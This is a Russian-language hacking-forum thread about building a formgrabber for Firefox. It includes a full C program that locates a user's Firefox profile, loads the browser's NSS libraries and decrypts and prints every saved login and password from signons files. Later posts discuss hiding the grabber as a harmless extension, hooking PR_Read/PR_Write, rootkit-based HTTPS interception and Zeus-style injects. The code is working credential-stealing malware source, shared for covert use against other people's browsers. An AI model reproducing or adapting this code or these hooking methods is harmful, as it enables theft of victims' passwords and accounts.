Формграббер для Firefox

Тема в разделе "WASM.RESEARCH", создана пользователем CubaLibra, 8 сен 2006.

  1. CubaLibra

    CubaLibra New Member

    Публикаций:
    0
    Регистрация:
    8 сен 2006
    Сообщения:
    1
    Кто-нибудь из уважаемых воинов пробовал заморочиться с формграббером для Firefox?

    На мой взгляд, задача достаточно тривиальна, если он будет выполнен в виде extension на XML, а в списке плагинов зарегистрирован как что-нибудь безвредное.

    Попытаюсь разобраться в потрохах Firefox, а если есть ссылки на мозилловскую документацию, просто идеи и советы - милости прошу!
     
  2. Jupiter

    Jupiter Jupiter

    Публикаций:
    0
    Регистрация:
    12 авг 2004
    Сообщения:
    530
    Адрес:
    Russia
  3. VOX

    VOX New Member

    Публикаций:
    0
    Регистрация:
    6 июн 2007
    Сообщения:
    8
    Код (Text):
    1. ////////////////////////////////////////////////////////////
    2. //-----------------------------------------------------------------------
    3. #pragma warning (disable:4786)
    4. #include <stdio.h>
    5. #include <stdlib.h>
    6. #include <string.h>
    7. #define _CRT_SECURE_NO_DEPRECATE
    8. #pragma warning(disable : 4996)
    9. #include <windows.h>
    10. #include <userenv.h>
    11. #pragma comment(lib,"userenv.lib")
    12. #pragma warning(disable : 4996)
    13. //-----------------------------------------------------------------------
    14.  
    15. //Firefox internal SEC structures
    16. typedef enum SECItemType
    17. {
    18.     siBuffer = 0,
    19.     siClearDataBuffer = 1,
    20.     siCipherDataBuffer = 2,
    21.     siDERCertBuffer = 3,
    22.     siEncodedCertBuffer = 4,
    23.     siDERNameBuffer = 5,
    24.     siEncodedNameBuffer = 6,
    25.     siAsciiNameString = 7,
    26.     siAsciiString = 8,
    27.     siDEROID = 9,
    28.     siUnsignedInteger = 10,
    29.     siUTCTime = 11,
    30.     siGeneralizedTime = 12
    31. };
    32.  
    33. struct SECItem
    34. {
    35.     SECItemType type;
    36.     unsigned char *data;
    37.     unsigned int len;
    38. };
    39.  
    40. typedef enum SECStatus
    41. {
    42.     SECWouldBlock = -2,
    43.     SECFailure = -1,
    44.     SECSuccess = 0
    45. };
    46. //-----------------------------------------------------------------------
    47. //Removes gecko-sdk dependency
    48. #define PRBool   int
    49. #define PRUint32 unsigned int
    50. #define PR_TRUE  1
    51. #define PR_FALSE 0
    52.  
    53. //Mozilla library names
    54. #define NSS_LIBRARY_NAME   "nss3.dll"
    55. #define PLC_LIBRARY_NAME   "plc4.dll"
    56. #define NSPR_LIBRARY_NAME  "nspr4.dll"
    57. #define SQLITE_LIBRARY_NAME  "sqlite3.dll"
    58. #define MOZCRT_LIBRARY_NAME  "mozcrt19.dll"
    59. #define NSSU_LIBRARY_NAME  "nssutil3.dll"
    60. #define NSSU_LIBRARY_NAME  "nssutil3.dll"
    61. #define PLDS_LIBRARY_NAME  "plds4.dll"
    62. #define SOFTN_LIBRARY_NAME "softokn3.dll"
    63.  
    64. #define LOADLIBRARY(x)  LoadLibrary(x)
    65. #define GETPROCADDRESS  GetProcAddress
    66. #define FREELIBRARY     FreeLibrary
    67. //-----------------------------------------------------------------------
    68. const int buflen = 10240;
    69. static char readbuf[buflen+1];
    70. static int last = 0;
    71. static int next = 0;
    72.  
    73. typedef struct PK11SlotInfoStr PK11SlotInfo;
    74.  
    75. // NSS Library functions
    76. typedef SECStatus      (*NSS_Init) (const char *configdir);
    77. typedef SECStatus      (*NSS_Shutdown) (void);
    78. typedef PK11SlotInfo * (*PK11_GetInternalKeySlot) (void);
    79. typedef void           (*PK11_FreeSlot) (PK11SlotInfo *slot);
    80. typedef SECStatus      (*PK11_CheckUserPassword) (PK11SlotInfo *slot,char *pw);
    81. typedef SECStatus      (*PK11_Authenticate) (PK11SlotInfo *slot, PRBool loadCerts, void *wincx);
    82. typedef SECStatus      (*PK11SDR_Decrypt) (SECItem *data, SECItem *result, void *cx);
    83.  
    84. // PLC Library functions
    85. typedef char *         (*PL_Base64Decode)( const char *src, PRUint32 srclen, char *dest);
    86.  
    87. // Function declarations..
    88. void NSSUnload();
    89. int InitFFLibs(char *firefoxPath);
    90. int InitializeNSSLibrary(char *profilePath, char *password);
    91. int CheckMasterPassword(char *password);
    92. int DirectoryExists( char *path );
    93. void StrLwr(char *str);
    94. int OpenFile(char *filePath);
    95. void CloseFile();
    96. int ReadLine(char *buffer, int size);
    97. char *GetFFProfilePath();
    98. char *GetFFLibPath();
    99. char *GetFFVersion();
    100. char **Explode(char *StrIn,const char *Delimiter);
    101. char *Split(char *String,char Delimeter[],int Part);
    102. char *replace(char *str, const char *substr, const char *repstr);
    103.  
    104. char ReadChar();
    105. char Vers[_MAX_PATH] = "";
    106. int version = 1;
    107.  
    108. int PK11Decrypt(char *decodeData, int decodeLen, char **clearData, int *finalLen);
    109. int Base64Decode(char *cryptData, char **decodeData, int *decodeLen);
    110. //-----------------------------------------------------------------------
    111. NSS_Init                NSSInit = NULL;
    112. NSS_Shutdown            NSSShutdown = NULL;
    113. PK11_GetInternalKeySlot PK11GetInternalKeySlot = NULL;
    114. PK11_CheckUserPassword  PK11CheckUserPassword = NULL;
    115. PK11_FreeSlot           PK11FreeSlot = NULL;
    116. PK11_Authenticate       PK11Authenticate = NULL;
    117. PK11SDR_Decrypt         PK11SDRDecrypt = NULL;
    118. PL_Base64Decode         PLBase64Decode = NULL;
    119.  
    120. int IsNSSInitialized = 0;
    121.  
    122. HMODULE libnss = NULL;
    123. HMODULE libplc = NULL;
    124. HMODULE libtmp = NULL;
    125.  
    126. FILE *signonFile = NULL;
    127.  
    128. //-----------------------------------------------------------------------
    129. int OpenFile(char *filePath)
    130. {
    131.     last = next = 0;
    132.     signonFile = fopen(filePath, "r");
    133.  
    134.     if( signonFile == NULL )
    135.     {
    136.       return 0; //fail
    137.     }
    138.  
    139.   return 1;
    140. }
    141. //-----------------------------------------------------------------------
    142. char ReadChar()
    143. {
    144.  
    145.   if (next >= last)
    146.   {
    147.     next = 0;
    148.     last = fread(readbuf, 1, buflen, signonFile);
    149.     if (last <= 0 )
    150.     {
    151.      return 0;
    152.     }
    153.   }
    154.  
    155.   return (readbuf[next++]);
    156. }
    157. //-----------------------------------------------------------------------
    158. int ReadLine(char *buffer, int size)
    159. {
    160.   unsigned int c;
    161.   int strLength = 0, i=0;
    162.  
    163.   buffer[0] = 0;
    164.  
    165.   while(1)
    166.   {
    167.       c = ReadChar();
    168.  
    169.       // eof reached
    170.       if ( c == 0 ) // || feof(file) )
    171.           return 0;
    172.  
    173.       if (c == '\n')
    174.       {
    175.           buffer[strLength++] = 0;
    176.           break;
    177.       }
    178.  
    179.       if (c != '\r')
    180.       {
    181.           for(i=0; i < 4 && ( (c & 0xff) != 0 ) ; i++)
    182.           {
    183.               if( strLength >= size )
    184.               {
    185.                  
    186.                   printf("\n Buffer is insufficient to store data");
    187.                   return 0;
    188.               }
    189.               // Increase buffer capacity dynamically
    190.               buffer[strLength++] = (char)c;
    191.               c = c >> 8;
    192.           }
    193.       }
    194.   }
    195.  
    196.   return 1;
    197.  
    198. }
    199. //-----------------------------------------------------------------------
    200. //Misc functions
    201. int DirectoryExists( char *path )
    202. {
    203.     DWORD attr = GetFileAttributes(path);
    204.     if( (attr < 0) || !(attr & FILE_ATTRIBUTE_DIRECTORY ) )
    205.     {
    206.         return 0;
    207.     }
    208.     return 1;
    209. }
    210. //-----------------------------------------------------------------------
    211. void StrLwr(char *str)
    212. {
    213. int n=strlen(str);
    214.     for(int i=0; i<n; i++)
    215.     {
    216.         if( str[i] >=65 && str[i]<=90 )
    217.         str[i]+=32;
    218.     }
    219. }
    220. //-----------------------------------------------------------------------
    221. //Loads specified firefox library with the given ffdir path as root
    222. HMODULE LoadLibrary(char *firefoxDir, char *libName)
    223. {
    224. char loadPath[4096]="";
    225.  
    226.     strcpy(loadPath, firefoxDir);
    227.     strcat(loadPath, "/");
    228.     strcat(loadPath, libName);
    229.  
    230.     libtmp = LOADLIBRARY(loadPath);
    231.  
    232.     if( !libtmp )
    233.     {
    234.         return 0; //Failed to load library
    235.     }
    236.  
    237.     return libtmp;
    238. }
    239. //-----------------------------------------------------------------------
    240. int InitFFLibs(char *FFDir)
    241. {
    242.     libnss = libplc = NULL;
    243.  
    244.     //Load all required dll's
    245.   if( FFDir != NULL )
    246.   {
    247.  
    248.     //Minor version check
    249.     if(!LoadLibrary(FFDir, MOZCRT_LIBRARY_NAME)) //We are using version 2 or lower
    250.     {
    251.         goto version2;
    252.     } else {
    253. if( LoadLibrary(FFDir, NSPR_LIBRARY_NAME) )
    254. {
    255.     if( LoadLibrary(FFDir, PLDS_LIBRARY_NAME) )
    256.     {
    257.         if( LoadLibrary(FFDir, PLC_LIBRARY_NAME) )
    258.         {
    259.                  if( LoadLibrary(FFDir, NSSU_LIBRARY_NAME) )
    260.                  {
    261.            
    262.                     if( LoadLibrary(FFDir, SQLITE_LIBRARY_NAME) )
    263.                         {
    264.  
    265.                         }
    266.                  }
    267.            }
    268.       }
    269.    }
    270. }      
    271. version2:
    272.            
    273.             if( LoadLibrary(FFDir, NSPR_LIBRARY_NAME) )
    274.             {
    275.                 if( LoadLibrary(FFDir, PLDS_LIBRARY_NAME) )
    276.                 {
    277.                     if((libplc=LoadLibrary(FFDir, PLC_LIBRARY_NAME)) )
    278.                     {
    279.                                 if((libplc=LoadLibrary(FFDir, PLC_LIBRARY_NAME)) )
    280.                                 {
    281.                                     if( LoadLibrary(FFDir, SOFTN_LIBRARY_NAME) )
    282.                                     {
    283.                                             libnss=LoadLibrary(FFDir, NSS_LIBRARY_NAME);
    284.                                             if(libnss )
    285.                                                 printf("\n\n Librarys loaded from master firefox path successfully");
    286.                                     }
    287.                                 }
    288.  
    289.                     }
    290.                 }
    291.             }
    292.     }
    293.  
    294.     // Now load from current path.
    295.     if( !libnss )
    296.     {
    297.         libnss =LOADLIBRARY(NSS_LIBRARY_NAME);
    298.         libplc =LOADLIBRARY(PLC_LIBRARY_NAME);
    299.         if( !libnss || !libplc )
    300.         {
    301.             printf("\n\n Failed to load Firefox libraries %s & %s ", NSS_LIBRARY_NAME, PLC_LIBRARY_NAME);
    302.             return 0;
    303.         }
    304.     } else {
    305.     printf("\n Firefox Libraries loaded successfully");
    306.     }
    307.  
    308.     // Extract the required functions....
    309.     NSSInit                   = (NSS_Init) GETPROCADDRESS(libnss, "NSS_Init");
    310.     NSSShutdown               = (NSS_Shutdown)GETPROCADDRESS(libnss, "NSS_Shutdown");
    311.     PK11GetInternalKeySlot = (PK11_GetInternalKeySlot) GETPROCADDRESS(libnss, "PK11_GetInternalKeySlot");
    312.     PK11FreeSlot           = (PK11_FreeSlot) GETPROCADDRESS(libnss, "PK11_FreeSlot");
    313.     PK11Authenticate       = (PK11_Authenticate) GETPROCADDRESS(libnss, "PK11_Authenticate");
    314.     PK11SDRDecrypt         = (PK11SDR_Decrypt) GETPROCADDRESS(libnss, "PK11SDR_Decrypt");
    315.     PK11CheckUserPassword  = (PK11_CheckUserPassword ) GETPROCADDRESS(libnss, "PK11_CheckUserPassword");
    316.  
    317.     if( !NSSInit || !NSSShutdown || !PK11GetInternalKeySlot || !PK11Authenticate || !PK11SDRDecrypt || !PK11FreeSlot || !PK11CheckUserPassword)
    318.     {
    319.         printf("\n\n Failed to get function address from library %s ", NSS_LIBRARY_NAME);
    320.         NSSUnload();
    321.         return 0;
    322.     }
    323.  
    324.     // Get the functions from PLC library
    325.     PLBase64Decode     = ( PL_Base64Decode ) GETPROCADDRESS(libplc, "PL_Base64Decode");
    326.  
    327.     if( !PLBase64Decode )
    328.     {
    329.         printf("\n\n Failed to get function address from library %s ", PLC_LIBRARY_NAME);
    330.         NSSUnload();
    331.         return 0;
    332.     } else {
    333.     printf("\n Firefox library initialized successfully");
    334.     }
    335.  
    336.   return 1;
    337. }
    338. //-----------------------------------------------------------------------
    339. int InitializeNSSLibrary(char *profilePath)
    340. {
    341.     IsNSSInitialized = 0;
    342.  
    343.     // Initialize the NSS library
    344.     if( (*NSSInit) (profilePath) != SECSuccess )
    345.     {
    346.         printf("\n\n NSSLib Initialization failed");
    347.         NSSUnload();
    348.         return 0;
    349.     } else {
    350.     IsNSSInitialized = 1;
    351.     printf("\n NSS library initiliazed successfully");
    352.     }
    353.  
    354.   return 1;
    355. }
    356. //-----------------------------------------------------------------------
    357. void NSSUnload()
    358. {
    359.     if( IsNSSInitialized  && (NSSShutdown != NULL) )
    360.         (*NSSShutdown)();
    361.  
    362.     if( libnss != NULL )
    363.         FREELIBRARY(libnss);  //Free nss library
    364.  
    365.     if( libplc != NULL )
    366.         FREELIBRARY(libplc);  //Free plc library
    367. }
    368. //-----------------------------------------------------------------------
    369. int DecryptStr(char *cryptData, char **clearData)
    370. {
    371. int decodeLen = 0;
    372. int finalLen = 0;
    373. char *decodeData = NULL;
    374. char *finalData = NULL;
    375.  
    376.     if( cryptData[0] != NULL )
    377.     {
    378.         if(  (Base64Decode(cryptData, &decodeData, &decodeLen) == 0) || (decodeData == NULL) )
    379.         {
    380.             return 0;
    381.         }
    382.  
    383.         // Do the actual PK11 decryption
    384.         if( (PK11Decrypt(decodeData, decodeLen, &finalData, &finalLen) == 0) || (finalData == NULL))
    385.         {
    386.             return 0;
    387.         }
    388.  
    389.         *clearData = (char*) malloc( finalLen + 1 );
    390.         if( *clearData == NULL )
    391.         {
    392.             printf("\n Insufficient memory");
    393.             return 0;
    394.         }
    395.         memcpy(*clearData, finalData, finalLen);
    396.         *(*clearData + finalLen) = 0;    // Null terminate string
    397.  
    398.         return 1;
    399.     }
    400.  
    401.     if(  Base64Decode(cryptData, clearData, &decodeLen) == 0 )
    402.     {
    403.         return 0;
    404.     }
    405.  
    406.     return 1;
    407. }
    408. //-----------------------------------------------------------------------
    409. int Base64Decode(char *cryptData, char **decodeData, int *decodeLen)
    410. {
    411.     int len = strlen( cryptData );
    412.     int adjust = 0;
    413.  
    414.     if (cryptData[len-1] == '=')
    415.     {
    416.       adjust++;
    417.       if (cryptData[len-2] == '=')
    418.           adjust++;
    419.     }
    420.  
    421.     *decodeData = ( char *)(*PLBase64Decode)(cryptData, len, NULL);
    422.  
    423.     if( *decodeData == NULL )
    424.     {
    425.         return 0;
    426.     }
    427.    
    428.     *decodeLen = (len*3)/4 - adjust;
    429.  
    430.     return 1;
    431. }
    432. //-----------------------------------------------------------------------
    433. int PK11Decrypt(char *decodeData, int decodeLen, char **clearData, int *finalLen)
    434. {
    435.     PK11SlotInfo *slot = 0;
    436.     SECStatus status;
    437.     SECItem request;
    438.     SECItem reply;
    439.  
    440.     // Find token with SDR key
    441.     slot = (*PK11GetInternalKeySlot)();
    442.  
    443.     if (!slot)
    444.     {
    445.         return 0;
    446.     }
    447.  
    448.     // Decrypt the string
    449.     request.data = (unsigned char *)decodeData;
    450.     request.len = decodeLen;
    451.     reply.data = 0;
    452.     reply.len = 0;
    453.  
    454.     status = (*PK11SDRDecrypt)(&request, &reply, NULL);
    455.  
    456.     if (status != SECSuccess)
    457.     {
    458.         return 0;
    459.     }
    460.  
    461.     *clearData = (char*)reply.data;
    462.     *finalLen  = reply.len;
    463.  
    464.     // Free the slot
    465.     (*PK11FreeSlot)(slot);
    466.     return 1;
    467. }
    468. //-----------------------------------------------------------------------
    469. int DumpCache(char *profilePath,char *signonFile)
    470. {
    471. char buffer[10240];
    472. char sbuffer[10240];
    473. char name[10240];
    474.  
    475. char *clearData = NULL;
    476.  
    477. int bufferLength = 10240;
    478. int count = 0;
    479. int ret;
    480.  
    481.     if( profilePath == NULL || signonFile == NULL)
    482.     {
    483.         return 0;
    484.     }
    485.  
    486.     strcpy(sbuffer,profilePath);
    487.     strcat(sbuffer,"\\");
    488.     strcat(sbuffer,signonFile);
    489.  
    490.     if(OpenFile(sbuffer) == 0 ) // Open the signon file
    491.      {
    492.          printf("\n\n Failed to open signon file: [%s], skipped. ", signonFile);
    493.          return 0;
    494.      } else {
    495.     printf("\n\n ============================================================== ");
    496.     printf("\n =                        %s                        = ",signonFile);
    497.     printf("\n ============================================================== ");
    498.  
    499.     /*/////////////////////////////////////////
    500.       Begin cache dump
    501.     *//////////////////////////////////////////
    502.  
    503.     printf("\n\n ======================= Unmanaged URLS ======================= ");
    504.  
    505.     // Read out the unmanaged ("Never remember" URL list
    506.  
    507.     ReadLine(buffer, bufferLength); //Skip first line as its a useless version tag
    508.  
    509.     while (ReadLine(buffer, bufferLength) != 0)
    510.     {
    511.         // End of unmanaged list
    512.         if (strlen(buffer) != 0 && buffer[0] == '.' && buffer[0] != '#')
    513.             break;
    514.         printf("\n %s ", buffer);
    515.     }
    516.     printf("\n ======================== Managed URLS ========================\n");
    517.  
    518.     // read the URL line
    519. while (ReadLine(buffer, bufferLength) != 0 ){
    520.  
    521.  printf("\n URL: %s ", buffer);
    522.  
    523.     //Start looping through final singon*.txt file
    524.  while (ReadLine(buffer, bufferLength) != 0 )
    525.  {
    526.  
    527.     if (buffer[0] == '.')
    528.     {
    529.     printf("\n ==============================================================\n");
    530.     break; // end of cache entry
    531.     }
    532.  
    533.     //Check if its a password
    534.     if (buffer[0] == '*')
    535.     {
    536.         strcpy(name,&buffer[1]);
    537.         ret = ReadLine(buffer, bufferLength);
    538.     } else {
    539.         printf("\n");
    540.         strcpy(name, buffer);
    541.         ret = ReadLine(buffer, bufferLength);
    542.     }
    543.  
    544.     if( DecryptStr(buffer, &clearData) == 1 )
    545.     {
    546.                 printf("\n %s: %s ", name, clearData);
    547.                 clearData = NULL;
    548.     }
    549.   }
    550. }
    551.     printf("\n\n ============================================================== ");
    552.     printf("\n =                       END %s                     = ",signonFile);
    553.     printf("\n ============================================================== \n");
    554.  
    555. return 1;
    556. }
    557.     /*/////////////////////////////////////////
    558.       End pcache dump
    559.     *//////////////////////////////////////////
    560. }
    561. //-----------------------------------------------------------------------
    562. // Find firefox path / libraries
    563. char *GetFFLibPath()
    564. {
    565.     char regSubKey[]    = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command";
    566.     char path[_MAX_PATH] ="";
    567.     char *FFDir = NULL;
    568.     DWORD pathSize = _MAX_PATH;
    569.     DWORD valueType;
    570.     HKEY rkey;
    571.  
    572.     // Open firefox registry key
    573.     if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, regSubKey, 0, KEY_READ, &rkey) != ERROR_SUCCESS )
    574.     {
    575.         printf("\n Failed to open the firefox registry key : HKCU\\%s", regSubKey );
    576.         return NULL;
    577.     }
    578.  
    579.     // Read the firefox path
    580.     if( RegQueryValueEx(rkey, NULL, 0,  &valueType, (unsigned char*)&path, &pathSize) != ERROR_SUCCESS )
    581.     {
    582.         printf("\n Failed to read the firefox path value from registry ");
    583.         RegCloseKey(rkey);
    584.         return NULL;
    585.     }
    586.  
    587.     if( pathSize <= 0 || path[0] == 0)
    588.     {
    589.         printf("\n Unable to locate firefox installation path");
    590.         RegCloseKey(rkey);
    591.         return NULL;
    592.     }
    593.  
    594.     RegCloseKey(rkey);
    595.  
    596.     // Remove extra quotes
    597.     if( path[0] == '\"' )
    598.     {
    599.         for(int i=0; i < strlen(path)-1 ; i++)
    600.             path[i] = path[i+1];
    601.     }
    602.  
    603.     printf("\n Firefox main exe: %s", path);
    604.  
    605.     // Terminate the string at last "\\"
    606.     for(int j=strlen(path)-1; j>0; j--)
    607.     {
    608.         if( path[j] == '\\' )
    609.         {
    610.             path[j]=0;
    611.             break;
    612.         }
    613.     }
    614.  
    615.     FFDir = (char*) malloc( strlen(path) + 1);
    616.  
    617.         if(FFDir)
    618.             strcpy(FFDir, path);
    619.         printf("\n Firefox path: %s", FFDir);
    620.  
    621.  return FFDir;
    622. }
    623. //-----------------------------------------------------------------------
    624. char *GetFFProfilePath()
    625. {
    626. char profilePath[_MAX_PATH] = "";
    627. char partialPath[] = "Application Data\\Mozilla\\Firefox";
    628. char profileFile[_MAX_PATH];
    629. char line[1024];
    630.  
    631. DWORD pathSize = _MAX_PATH;
    632. char *finalProfilePath = NULL;
    633. int  isDefaultFound = 0;
    634. HANDLE token;
    635.  
    636.     // Get current user's profile directory
    637.     if( OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token) == FALSE )
    638.     {
    639.         printf("\n Failed to get current process token ");
    640.         return NULL;
    641.     }
    642.    
    643.     if( GetUserProfileDirectory(token, profilePath, &pathSize) == FALSE )
    644.     {
    645.         printf("\n Failed to get user profile directory");
    646.         return NULL;
    647.     }
    648.    
    649.     printf("\n User Profile directory: %s\n", profilePath);
    650.  
    651.     // Get firefox profile directory
    652.     strcpy(profileFile, profilePath);
    653.     strcat(profileFile,"\\");
    654.     strcat(profileFile,partialPath);
    655.     strcat(profileFile,"\\profiles.ini");
    656.    
    657.     // Open the firefox profile setting file
    658.     FILE *profile = fopen(profileFile, "r");
    659.    
    660.     if( profile == NULL )
    661.     {
    662.         printf("\n Unable to find firefox profile file: %s ", profileFile);
    663.         return NULL;
    664.     }
    665.  
    666.     // This indicates that we are looking under default profile
    667.     while(fgets(line, 1024, profile))
    668.     {
    669.         StrLwr(line);
    670.  
    671.         if( !isDefaultFound && ( strstr(line, "name=default") != NULL) )
    672.         {
    673.             isDefaultFound = 1;
    674.             continue;
    675.         }
    676.        
    677.         // Found default profile / check for path
    678.         if( isDefaultFound )
    679.         {
    680.             if( strstr(line,"path=") != NULL)
    681.             {
    682.                 char *slash = strstr(line,"/");
    683.                
    684.                 if( slash != NULL )
    685.                     *slash = '\\';
    686.                
    687.                 // remove \n from the end of line
    688.                 line[strlen(line)-1] = 0;
    689.  
    690.                 char *start = strstr(line,"=");
    691.            
    692.                 int totalLen = strlen(profilePath) + strlen(partialPath) + strlen(start) + 3 ;
    693.                 finalProfilePath = (char *) malloc(totalLen);
    694.  
    695.                 if( finalProfilePath )
    696.                 {
    697.                     strcpy(finalProfilePath,profilePath);
    698.                     strcat(finalProfilePath,"\\");
    699.                     strcat(finalProfilePath,partialPath);
    700.                     strcat(finalProfilePath,"\\");
    701.                     strcat(finalProfilePath,start+1);
    702.  
    703.                     printf("\n Final profile path: %s \n", finalProfilePath);
    704.                 }
    705.  
    706.                 break;
    707.             }
    708.         }
    709.    
    710.     }
    711.  
    712.     fclose(profile);
    713.    
    714.   return finalProfilePath;
    715. }
    716. //-----------------------------------------------------------------------
    717. char *GetFFVersion()
    718. {
    719. char regSubKey[] = "SOFTWARE\\Mozilla\\Mozilla Firefox";
    720. char *FFVers = NULL;
    721. DWORD pathSize = _MAX_PATH;
    722. DWORD valueType;
    723. HKEY rkey;
    724.  
    725.     // Open firefox registry key
    726.     if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, regSubKey, 0, KEY_READ, &rkey) != ERROR_SUCCESS )
    727.     {
    728.         printf("\n Failed to open the firefox registry key : HKCU\\%s", regSubKey );
    729.         return NULL;
    730.     }
    731.  
    732.  
    733.     // Read the firefox path value
    734.     if( RegQueryValueEx(rkey, "CurrentVersion", 0,  &valueType, (unsigned char*)&Vers, &pathSize) != ERROR_SUCCESS )
    735.     {
    736.         printf("\n Failed to read the firefox version from registry ");
    737.         RegCloseKey(rkey);
    738.         return NULL;
    739.     }
    740.  
    741.         if( pathSize <= 0 || Vers[0] == 0)
    742.     {
    743.         printf("\n Path value read from the registry is empty");
    744.         RegCloseKey(rkey);
    745.         return NULL;
    746.     }  
    747.  
    748.         RegCloseKey(rkey);
    749.    
    750.         FFVers = (char*) malloc( strlen(Vers) + 1);
    751.    
    752.     if( FFVers )
    753.     strcpy(Vers,FFVers);
    754.     if (FFVers[1] == '1')
    755.     {
    756.         version = 1;
    757.     }else{
    758.     if (FFVers[1] == '2')
    759.     {
    760.         version = 2;
    761.     }else{
    762.     if (FFVers[1] == '3')
    763.         {
    764.         version = 3;   
    765.     }
    766.   }
    767. }
    768.     printf("\n Firefox version: %d", version);
    769.  
    770.     return (FFVers);
    771. }
    772. //-----------------------------------------------------------------------
    773. int main(int argc, char* argv[])
    774. {
    775.     char *ProfilePath = NULL;   //Profile path
    776.     char *FFDir = NULL;         //Firefox main installation path
    777.     char buff[1024];
    778.  
    779.     ProfilePath = GetFFProfilePath();
    780.  
    781.     if( !DirectoryExists(ProfilePath))
    782.     {
    783.       printf("\n\n Firefox profile directory does not exist or no profiles found. \n");
    784.       return 0;
    785.     }
    786.    
    787.     FFDir = GetFFLibPath();
    788.  
    789.     if( !DirectoryExists(ProfilePath))
    790.     {
    791.       printf("\n\n Firefox installation path does not exist or is not installed. \n");
    792.       return 0;
    793.     }
    794.         if( InitFFLibs(FFDir) )
    795.         {
    796.             if( InitializeNSSLibrary(ProfilePath) )
    797.             {
    798.                  //Take 3 Mozilla dumps
    799.                 DumpCache(ProfilePath,"signons.txt");  
    800.                 DumpCache(ProfilePath,"signons2.txt");
    801.                 DumpCache(ProfilePath,"signons3.txt");
    802.                 //Dont forget to flush :/
    803.                 NSSUnload();
    804.             }
    805.         }
    806.  
    807.     printf("\n ======================= End Cache Dump =======================\n");
    808.  
    809.     while(1){
    810.     Sleep(10000);  //Just loop until user exits
    811.     }
    812.  
    813. }
    814. //-----------------------------------------------------------------------
     
  4. djmans

    djmans New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2006
    Сообщения:
    312
    забей на фф, его грабить очень сложно, нужно писать гиганский код и общатся с сокетами лично, это не wininet вам. он защищен от этого очень хорошо, не думаю что у автора хватит ума и терпения на это (судя по постоновке вопроса).

    самый простой выход писать плагины. или собирать свой фейковый фф из сорчев. или запрешать своим чудо-троем запуск фф.
     
  5. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Ну и ладно )
     
  6. djmans

    djmans New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2006
    Сообщения:
    312
    да, и пусть каждый школьник напишит свой граббер, после чего мозилла вероятно задумается над чемто...
     
  7. Rustem

    Rustem New Member

    Публикаций:
    0
    Регистрация:
    8 мар 2004
    Сообщения:
    429
    Адрес:
    Russia
    Зачем регистрировать плагин, когда можно перехватить?
    И работать будет не только в мозиле
     
  8. Winter

    Winter New Member

    Публикаций:
    0
    Регистрация:
    3 июл 2009
    Сообщения:
    3
    По поводу nspr4.dll. Имется ввиду pr_read\pr_write?
     
  9. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Winter
    реверсите и будете вознаграждены)
    не только.

    поправка: даже реверсить не надо. он же опенсорс)
     
  10. Guest

    Guest Guest

    Публикаций:
    0
    Ага :) Организовал фильтрацию HTTPS трафика на лету не в виде плагина или прочей лажы, работает классно, стабильно, надежно со всеми версиями всех топовых продуктов Mozilla, при этом не nspr4.dll и не метод приведенный выше :)
    Пробуйте, может к концу года сделаете :derisive:
     
  11. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    684
    "Пробуйте, может к концу года сделаете :derisive:"

    а пафоса то сколько , вот ага целы год хуки писать по опенсорсному проекту =) по себе мерять не надо =)
     
  12. Guest

    Guest Guest

    Публикаций:
    0
    sl0n вас это чем-то задело?
     
  13. dendi

    dendi New Member

    Публикаций:
    0
    Регистрация:
    3 сен 2007
    Сообщения:
    233
    Правильно, его слишком сложно для школоты осилить, делайте и дальше свои гавнобхо кработрои.
     
  14. rdtsc

    rdtsc Параллелепипедов Артем

    Публикаций:
    0
    Регистрация:
    10 мар 2009
    Сообщения:
    180
    Адрес:
    Москва
    А интересно,как?
    PS: задача фильтрации шифрованного трафика - задача национальной безопасности, не секрет, что переписка террористов и прочих отрицательных элементов часто идет по обычным каналам связи типа WWW, в результате -наша задача - внедряться в их виртуальный трафик, отслеживать все что надо и передавать нужное куда следует. И попрошу не смеятся, не секрет, что многие плохие вещи обсуждаются именно по обычной Email. Поможем курсу Медведева-Путина в борьбе с негативным элементом в обществе!
     
  15. Guest

    Guest Guest

    Публикаций:
    0
    rdtsc
    Проект лежит на полке уже год и никому не нужен, реализован в виде 3х вариантов перехвата с использованием руткита. PR_Read и PR_Write - пожалуй самый простой и малоинтересный способ. Mozilla в курсе подобной возможности, их официальный ответ: "если компьютер скомпрометирован, то это не наше дело" причем как со стороны российского представительства, так и со стороны их штаб-квартиры, получается интересная ситуация - они выпускают уже 4ую версию браузера уязвимую все в тех же местах и при этом заявляют о какой-то повышенной безопасности, при этом Zeus уже умеет осуществлять инжекты, что сложно сделать стабильно, но Mozilla никак не реагирует. Так что работа по борьбе с террористами, мошенниками, над повышением безопасности и прочим это все только PR в средствах массовой информации.
     
  16. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Про mitm что ли не слыхали? Надо было тогда уже делать для всех браузеров сразу, и патчить места проверки сертов.
    При чем тут террористы вообще не ясно, тут обсуждается перехват на локальной тачке, % что ваш трой окажется в нужном месте ничтожен)
     
  17. sambd

    sambd New Member

    Публикаций:
    0
    Регистрация:
    14 дек 2007
    Сообщения:
    60
    Для лисы инжекты существуют уже более 2х лет, их там только немного геморно делать, а так не сложнее по ряду причин нежели для wininet.
    Грабиться он просто и инжектится тоже, так что никакой он не безопасный =)
    Хотя все что есть опенсорс не безопасно ;)
     
  18. rdtsc

    rdtsc Параллелепипедов Артем

    Публикаций:
    0
    Регистрация:
    10 мар 2009
    Сообщения:
    180
    Адрес:
    Москва
    Слыхал - Человек по середине..Но я имел ввиду может там какойто способ есть секретный наподобиее пр_рид/пр_райт, типо берем данные до шифровки в ssl и смотрим на них..а парится с криптухой,сертами - от одного слова этого мне всегда было не по себе
     
  19. M0rg0t

    M0rg0t Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 окт 2010
    Сообщения:
    1.574
